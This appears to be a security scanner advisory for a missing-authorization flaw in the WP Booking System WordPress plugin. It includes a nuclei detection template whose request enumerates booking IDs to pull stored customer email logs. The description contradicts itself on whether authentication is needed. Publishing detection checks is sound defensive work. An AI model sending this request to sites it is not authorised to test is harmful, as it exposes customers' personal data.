WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure

highseverity

7.5CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.

Impact

Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.

Fix

Update to the latest version beyond 2.1.0.3.

How to confirm it

Send: GET /
Positive when: contains(body, "plugins/wp-booking-system")
Send: GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0
Positive when: status_code == 200 and contains(body, "wpbs-table-first-row") and contains(body, "text-align:left")

Run it with nuclei: nuclei -id CVE-2026-108123 -u <target>

The full check

id: CVE-2026-108123

info:
  name: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.
  impact: |
    Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.
  remediation: |
    Update to the latest version beyond 2.1.0.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure
    - https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system
    - https://wordpress.org/plugins/wp-booking-system/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-108123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-108123
    epss-score: 0.01024
    epss-percentile: 0.63806
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 5
    vendor: wpbookingsystem
    product: wp-booking-system
    fofa-query: body="/wp-content/plugins/wp-booking-system/"
  tags: cve,cve2026,wordpress,wp-plugin,wp-booking-system,exposure,unauth,missing-auth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "plugins/wp-booking-system")'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      bid:
        - 1
        - 2
        - 3
        - 4

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wpbs-table-first-row")'
          - 'contains(body, "text-align:left")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from